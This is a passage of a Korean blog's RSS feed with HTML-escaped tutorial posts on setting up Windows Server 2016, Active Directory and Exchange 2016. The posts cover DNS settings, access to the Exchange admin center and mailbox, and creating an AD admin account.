&lt;blockquote data-ke-style=&quot;style3&quot;&gt;서버에서 &amp;gt; &lt;b&gt;Control Panel\Network and Internet\Network and Sharing Center&lt;/b&gt; 로 이동&lt;br /&gt;&lt;b&gt;&amp;gt; 네트워크 인터페이스 &amp;gt; Properties &amp;gt; Internet Protocol Version 4 (TCP/IP)&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&amp;gt; IP 수정&lt;br /&gt;* DNS 서버의 주소를 AD 서버의 주소로 지정&lt;/b&gt;&lt;/blockquote&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;보조 DNS 서버 주소는&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;원활한 인터넷 사용을 위해&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;상용 DNS 서버의 주소를&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;적었습니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-origin-width=&quot;1123&quot; data-origin-height=&quot;576&quot; data-filename=&quot;5.png&quot; width=&quot;500&quot; height=&quot;256&quot; data-ke-mobilestyle=&quot;widthOrigin&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/brMGWz/btrd0uBX96d/GLuVrT1PDxGET3sxsoctDK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/brMGWz/btrd0uBX96d/GLuVrT1PDxGET3sxsoctDK/img.png&quot; data-alt=&quot;DNS 서버 주소가 중요!&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/brMGWz/btrd0uBX96d/GLuVrT1PDxGET3sxsoctDK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbrMGWz%2Fbtrd0uBX96d%2FGLuVrT1PDxGET3sxsoctDK%2Fimg.png&quot; data-origin-width=&quot;1123&quot; data-origin-height=&quot;576&quot; data-filename=&quot;5.png&quot; width=&quot;500&quot; height=&quot;256&quot; data-ke-mobilestyle=&quot;widthOrigin&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;DNS 서버 주소가 중요!&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;padding: 55px 10px 1px; border: solid rgba(0, 0, 0, 0.3);&quot;&gt;&lt;b&gt;3. Exchange 관리자 센터 접속&lt;/b&gt;&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;blockquote data-ke-style=&quot;style3&quot;&gt;- 접속 주소: &lt;b&gt;https://&lt;span style=&quot;background-color: #fcfcfc; color: #666666;&quot;&gt;[AD 도메인 / AD 서버 IP]&lt;/span&gt;/ecp&lt;br /&gt;&lt;/b&gt;- ID: &lt;b&gt;도메인\관리자 계정&lt;/b&gt;&lt;/blockquote&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;인증서 때문에&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;경고 페이지가 뜨지만,&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;무시하고 넘어갑니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-origin-width=&quot;973&quot; data-origin-height=&quot;710&quot; data-filename=&quot;6.png&quot; width=&quot;500&quot; height=&quot;365&quot; data-ke-mobilestyle=&quot;widthOrigin&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/TTYBA/btrd0ldOeNS/67cQ2VGCckVS0VJgkDss80/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/TTYBA/btrd0ldOeNS/67cQ2VGCckVS0VJgkDss80/img.png&quot; data-alt=&quot;안전하지 않음 클릭&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/TTYBA/btrd0ldOeNS/67cQ2VGCckVS0VJgkDss80/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FTTYBA%2Fbtrd0ldOeNS%2F67cQ2VGCckVS0VJgkDss80%2Fimg.png&quot; data-origin-width=&quot;973&quot; data-origin-height=&quot;710&quot; data-filename=&quot;6.png&quot; width=&quot;500&quot; height=&quot;365&quot; data-ke-mobilestyle=&quot;widthOrigin&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;안전하지 않음 클릭&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;AD 도메인\관리자 계정&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;를 입력하여 로그인합니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-origin-width=&quot;948&quot; data-origin-height=&quot;561&quot; data-filename=&quot;7.png&quot; width=&quot;500&quot; height=&quot;296&quot; data-ke-mobilestyle=&quot;widthOrigin&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/qzmCQ/btrd02516gV/vBSNpv4Tg7nb2mlcilT24k/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/qzmCQ/btrd02516gV/vBSNpv4Tg7nb2mlcilT24k/img.png&quot; data-alt=&quot;로그인&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/qzmCQ/btrd02516gV/vBSNpv4Tg7nb2mlcilT24k/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FqzmCQ%2Fbtrd02516gV%2FvBSNpv4Tg7nb2mlcilT24k%2Fimg.png&quot; data-origin-width=&quot;948&quot; data-origin-height=&quot;561&quot; data-filename=&quot;7.png&quot; width=&quot;500&quot; height=&quot;296&quot; data-ke-mobilestyle=&quot;widthOrigin&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;로그인&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;최초 로그인 시&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;시간대를 설정합니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-origin-width=&quot;947&quot; data-origin-height=&quot;573&quot; data-filename=&quot;8.png&quot; width=&quot;500&quot; height=&quot;303&quot; data-ke-mobilestyle=&quot;widthOrigin&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/xOLlk/btrd0uaUG6Y/V3LTQVXPLATAw20y0rV07K/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/xOLlk/btrd0uaUG6Y/V3LTQVXPLATAw20y0rV07K/img.png&quot; data-alt=&quot;시간대 설정&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/xOLlk/btrd0uaUG6Y/V3LTQVXPLATAw20y0rV07K/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FxOLlk%2Fbtrd0uaUG6Y%2FV3LTQVXPLATAw20y0rV07K%2Fimg.png&quot; data-origin-width=&quot;947&quot; data-origin-height=&quot;573&quot; data-filename=&quot;8.png&quot; width=&quot;500&quot; height=&quot;303&quot; data-ke-mobilestyle=&quot;widthOrigin&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;시간대 설정&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이제 이 페이지에서&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;Exchange 서버를&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;관리할 수 있습니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-origin-width=&quot;947&quot; data-origin-height=&quot;630&quot; data-filename=&quot;9.png&quot; width=&quot;500&quot; height=&quot;333&quot; data-ke-mobilestyle=&quot;widthOrigin&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bB7KNB/btrd5j6wQ8b/K1HKKWmg3Y9KiIt4xhTOMK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bB7KNB/btrd5j6wQ8b/K1HKKWmg3Y9KiIt4xhTOMK/img.png&quot; data-alt=&quot;관리 페이지 접속&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bB7KNB/btrd5j6wQ8b/K1HKKWmg3Y9KiIt4xhTOMK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbB7KNB%2Fbtrd5j6wQ8b%2FK1HKKWmg3Y9KiIt4xhTOMK%2Fimg.png&quot; data-origin-width=&quot;947&quot; data-origin-height=&quot;630&quot; data-filename=&quot;9.png&quot; width=&quot;500&quot; height=&quot;333&quot; data-ke-mobilestyle=&quot;widthOrigin&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;관리 페이지 접속&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;padding: 55px 10px 1px; border: solid rgba(0, 0, 0, 0.3);&quot;&gt;&lt;b&gt;4. 메일 사서함 접속&lt;/b&gt;&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;메일 사서함은&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;아래 주소로 접속합니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;blockquote data-ke-style=&quot;style3&quot;&gt;메일 사서함 주소: &lt;b&gt;https://[AD 도메인 / AD 서버 IP]/owa&lt;/b&gt;&lt;/blockquote&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-origin-width=&quot;947&quot; data-origin-height=&quot;610&quot; data-filename=&quot;1.png&quot; width=&quot;500&quot; height=&quot;322&quot; data-ke-mobilestyle=&quot;widthOrigin&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/UJYu2/btrdXAh2dNu/Rj65ZqPoz6UnFLLCVGkyX0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/UJYu2/btrdXAh2dNu/Rj65ZqPoz6UnFLLCVGkyX0/img.png&quot; data-alt=&quot;메일 사서함 접속&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/UJYu2/btrdXAh2dNu/Rj65ZqPoz6UnFLLCVGkyX0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FUJYu2%2FbtrdXAh2dNu%2FRj65ZqPoz6UnFLLCVGkyX0%2Fimg.png&quot; data-origin-width=&quot;947&quot; data-origin-height=&quot;610&quot; data-filename=&quot;1.png&quot; width=&quot;500&quot; height=&quot;322&quot; data-ke-mobilestyle=&quot;widthOrigin&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;메일 사서함 접속&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;div class=&quot;bodyAdsense&quot; style=&quot;text-align: center;&quot;&gt;
&lt;style type=&quot;text/css&quot;&gt;
.contentsadsense {
display: inline-block;
width: 85%;
height: 280px;
}
@media (min-width:680px) {
.bodyAdsense .contentsadsense {
display: inline-block;
width: 85%;
height: 250px;
}
}
@media (min-width:783px) {
.bodyAdsense .contentsadsense {
display: inline-block;
width: 730px;
height: 280px;
}
}
&lt;/style&gt;
&lt;span&gt;
&lt;ins class=&quot;adsbygoogle contentsadsense&quot; data-ad-client=&quot;ca-pub-3404419172696964&quot; data-ad-slot=&quot;8663946782&quot; data-ad-layout=&quot;in-article&quot; data-ad-format=&quot;fluid&quot; data-language=&quot;ko&quot;&gt;&lt;/ins&gt;
&lt;script&gt;
window.adsbygoogle.push({});
&lt;/script&gt;
&lt;/span&gt;
&lt;/div&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 style=&quot;font-size: 35px; border-bottom: 4px solid #777777; padding: 55px 10px 1px; font-weight: bold;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;연관된 사이트&lt;/b&gt;&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;a href=&quot;https://chmodi.tistory.com/150&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;2021.09.02 - [Study/스터디] - [Windows Server 2016+AD+Exchange 2016] AD(Active Directory) 설치&lt;/a&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;a href=&quot;https://chmodi.tistory.com/151&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;2021.09.03 - [Study/스터디] - [Windows Server 2016+AD+Exchange 2016] Exchange 2016 관리 계정 생성&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;div class=&quot;bodyAdsense&quot; style=&quot;text-align: center;&quot;&gt;
&lt;style type=&quot;text/css&quot;&gt;
.contentsadsense {
display: inline-block;
width: 85%;
height: 280px;
}
@media (min-width:680px) {
.bodyAdsense .contentsadsense {
display: inline-block;
width: 85%;
height: 250px;
}
}
@media (min-width:783px) {
.bodyAdsense .contentsadsense {
display: inline-block;
width: 730px;
height: 280px;
}
}
&lt;/style&gt;
&lt;span&gt;
&lt;ins class=&quot;adsbygoogle contentsadsense&quot; data-ad-client=&quot;ca-pub-3404419172696964&quot; data-ad-slot=&quot;8663946782&quot; data-ad-layout=&quot;in-article&quot; data-ad-format=&quot;fluid&quot; data-language=&quot;ko&quot;&gt;&lt;/ins&gt;
&lt;script&gt;
window.adsbygoogle.push({});
&lt;/script&gt;
&lt;/span&gt;
&lt;/div&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 style=&quot;font-size: 35px; border-bottom: 4px solid #777777; padding: 55px 10px 1px; font-weight: bold;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;참고 사이트&lt;/b&gt;&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;마이크로 소프트에서 제공하는&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;설치 가이드 입니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;a href=&quot;https://docs.microsoft.com/ko-kr/Exchange/plan-and-deploy/prerequisites?redirectedfrom=MSDN&amp;amp;view=exchserver-2016&quot;&gt;https://docs.microsoft.com/ko-kr/Exchange/plan-and-deploy/prerequisites?redirectedfrom=MSDN&amp;amp;view=exchserver-2016&lt;/a&gt;&amp;nbsp;&lt;/p&gt;
&lt;figure id=&quot;og_1630635148974&quot; contenteditable=&quot;false&quot; data-ke-type=&quot;opengraph&quot; data-ke-align=&quot;alignCenter&quot; data-og-type=&quot;website&quot; data-og-title=&quot;Exchange Server 필수 구성 요소, Exchange 2019 시스템 요구 사항, Exchange 2019 요구 사항&quot; data-og-description=&quot;요약: Exchange Server 2016 및 Exchange Server 2019과 Exchange 관리 도구를 위한 Windows 운영 체제 필수 구성 요소에 대해 알아봅니다.&quot; data-og-host=&quot;docs.microsoft.com&quot; data-og-source-url=&quot;https://docs.microsoft.com/ko-kr/Exchange/plan-and-deploy/prerequisites?redirectedfrom=MSDN&amp;amp;view=exchserver-2016&quot; data-og-url=&quot;https://docs.microsoft.com/ko-kr/exchange/plan-and-deploy/prerequisites&quot; data-og-image=&quot;https://scrap.kakaocdn.net/dn/bOLxEw/hyLtWcUYuD/KtzrEmcirz3sWLsan2kLzk/img.png?width=400&amp;amp;height=400&amp;amp;face=0_0_400_400&quot;&gt;&lt;a href=&quot;https://docs.microsoft.com/ko-kr/Exchange/plan-and-deploy/prerequisites?redirectedfrom=MSDN&amp;amp;view=exchserver-2016&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot; data-source-url=&quot;https://docs.microsoft.com/ko-kr/Exchange/plan-and-deploy/prerequisites?redirectedfrom=MSDN&amp;amp;view=exchserver-2016&quot;&gt;
&lt;div class=&quot;og-image&quot; style=&quot;background-image: url('https://scrap.kakaocdn.net/dn/bOLxEw/hyLtWcUYuD/KtzrEmcirz3sWLsan2kLzk/img.png?width=400&amp;amp;height=400&amp;amp;face=0_0_400_400');&quot;&gt;&amp;nbsp;&lt;/div&gt;
&lt;div class=&quot;og-text&quot;&gt;
&lt;p class=&quot;og-title&quot; data-ke-size=&quot;size16&quot;&gt;Exchange Server 필수 구성 요소, Exchange 2019 시스템 요구 사항, Exchange 2019 요구 사항&lt;/p&gt;
&lt;p class=&quot;og-desc&quot; data-ke-size=&quot;size16&quot;&gt;요약: Exchange Server 2016 및 Exchange Server 2019과 Exchange 관리 도구를 위한 Windows 운영 체제 필수 구성 요소에 대해 알아봅니다.&lt;/p&gt;
&lt;p class=&quot;og-host&quot; data-ke-size=&quot;size16&quot;&gt;docs.microsoft.com&lt;/p&gt;
&lt;/div&gt;
&lt;/a&gt;&lt;/figure&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;</description>
      <category>Study/스터디</category>
      <category>Active Directory</category>
      <category>AD</category>
      <category>EXCHANGE</category>
      <category>server</category>
      <category>window</category>
      <category>WIndow Server</category>
      <author>루딘이</author>
      <guid isPermaLink="true">https://chmodi.tistory.com/152</guid>
      <comments>https://chmodi.tistory.com/152#entry152comment</comments>
      <pubDate>Fri, 3 Sep 2021 17:01:27 +0900</pubDate>
    </item>
    <item>
      <title>[Windows Server 2016+AD+Exchange 2016] Exchange 2016 관리 계정 생성</title>
      <link>https://chmodi.tistory.com/151</link>
      <description>&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;Exchange 2016 설치 전&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;관리 계정을&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;미리 생성해야 합니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 style=&quot;font-size: 35px; border-bottom: 4px solid #777777; padding: 55px 10px 1px; font-weight: bold;&quot; data-ke-size=&quot;size26&quot;&gt;시작하기&amp;nbsp;전에&amp;nbsp;알아야&amp;nbsp;할&amp;nbsp;내용&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;마이크로 소프트에서 제공하는&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;Exchange 2016 설치 전&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;확인해야할 사항들 입니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;Windows Server 2019는&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;AD에 가입되어 있다면&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;최신 패치 후 설치하면 됩니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-origin-width=&quot;590&quot; data-origin-height=&quot;561&quot; data-filename=&quot;1.png&quot; width=&quot;500&quot; height=&quot;475&quot; data-ke-mobilestyle=&quot;widthOrigin&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/wLtmT/btrdSeS21v7/AfQEUkEriSF1kxmTOjj7b1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/wLtmT/btrdSeS21v7/AfQEUkEriSF1kxmTOjj7b1/img.png&quot; data-alt=&quot;사전 확인 사항들&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/wLtmT/btrdSeS21v7/AfQEUkEriSF1kxmTOjj7b1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FwLtmT%2FbtrdSeS21v7%2FAfQEUkEriSF1kxmTOjj7b1%2Fimg.png&quot; data-origin-width=&quot;590&quot; data-origin-height=&quot;561&quot; data-filename=&quot;1.png&quot; width=&quot;500&quot; height=&quot;475&quot; data-ke-mobilestyle=&quot;widthOrigin&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;사전 확인 사항들&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;div class=&quot;bodyAdsense&quot; style=&quot;text-align: center;&quot;&gt;
&lt;style type=&quot;text/css&quot;&gt;
.contentsadsense {
display: inline-block;
width: 85%;
height: 280px;
}
@media (min-width:680px) {
.bodyAdsense .contentsadsense {
display: inline-block;
width: 85%;
height: 250px;
}
}
@media (min-width:783px) {
.bodyAdsense .contentsadsense {
display: inline-block;
width: 730px;
height: 280px;
}
}
&lt;/style&gt;
&lt;span&gt;
&lt;ins class=&quot;adsbygoogle contentsadsense&quot; data-ad-client=&quot;ca-pub-3404419172696964&quot; data-ad-slot=&quot;8663946782&quot; data-ad-layout=&quot;in-article&quot; data-ad-format=&quot;fluid&quot; data-language=&quot;ko&quot;&gt;&lt;/ins&gt;
&lt;script&gt;
window.adsbygoogle.push({});
&lt;/script&gt;
&lt;/span&gt;
&lt;/div&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 style=&quot;font-size: 35px; border-bottom: 4px solid #777777; padding: 55px 10px 1px; font-weight: bold;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;AD에 관리용 계정 생성&lt;/b&gt;&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;관리 및 보안을 위해&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;Exchange 2016용 계정을&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;생성해야합니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;blockquote data-ke-style=&quot;style3&quot;&gt;관리 계정 생성:&lt;br /&gt;&lt;b&gt;1. AD 계정 관리 실행&lt;/b&gt;&lt;br /&gt;&lt;b&gt;- Server Manager &amp;gt; Tools &amp;gt; Active Directory Users and Computers&lt;/b&gt;&lt;br /&gt;&lt;br /&gt;&lt;b&gt;2. OU(Organizational Unit) 생성&lt;/b&gt;&lt;br /&gt;&lt;b&gt;- AD 우클릭 &amp;gt; New &amp;gt; Oraganizational Unit &amp;gt; Name 입력 &amp;gt; OK&lt;/b&gt;&lt;br /&gt;* OU: 계정 그룹?(부서, 팀 등) 정도로 생각&lt;br /&gt;&lt;br /&gt;&lt;b&gt;3. 계정 생성&lt;br /&gt;&lt;/b&gt;&lt;b&gt;- OU 우클릭 &amp;gt; New &amp;gt; User &amp;gt; 정보 입력 &amp;gt; Next&lt;br /&gt;&lt;/b&gt;&lt;b&gt;&amp;gt; Password 입력 &amp;gt; Next &amp;gt; Finish&lt;/b&gt;&lt;/blockquote&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;계정 생성을 위해&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;Active Directory Users and Computers&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;를 실행 시킵니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-origin-width=&quot;955&quot; data-origin-height=&quot;649&quot; data-filename=&quot;2.png&quot; width=&quot;500&quot; height=&quot;340&quot; data-ke-mobilestyle=&quot;widthOrigin&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bCisgz/btrdT1stBnt/ZDskO2V7jRx7txJd2HKEp1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bCisgz/btrdT1stBnt/ZDskO2V7jRx7txJd2HKEp1/img.png&quot; data-alt=&quot;Active Directory Users and Computers 실행&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bCisgz/btrdT1stBnt/ZDskO2V7jRx7txJd2HKEp1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbCisgz%2FbtrdT1stBnt%2FZDskO2V7jRx7txJd2HKEp1%2Fimg.png&quot; data-origin-width=&quot;955&quot; data-origin-height=&quot;649&quot; data-filename=&quot;2.png&quot; width=&quot;500&quot; height=&quot;340&quot; data-ke-mobilestyle=&quot;widthOrigin&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;Active Directory Users and Computers 실행&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;계정을 따로 관리하기 위해&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;admins OU를 생성합니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-origin-width=&quot;755&quot; data-origin-height=&quot;533&quot; data-filename=&quot;3.png&quot; width=&quot;500&quot; height=&quot;353&quot; data-ke-mobilestyle=&quot;widthOrigin&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/Kh2pY/btrd0yI2s4o/L55mVAur15BaAuvNOLwXFk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/Kh2pY/btrd0yI2s4o/L55mVAur15BaAuvNOLwXFk/img.png&quot; data-alt=&quot;Organizational Unit 생성&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/Kh2pY/btrd0yI2s4o/L55mVAur15BaAuvNOLwXFk/img.png&quot; 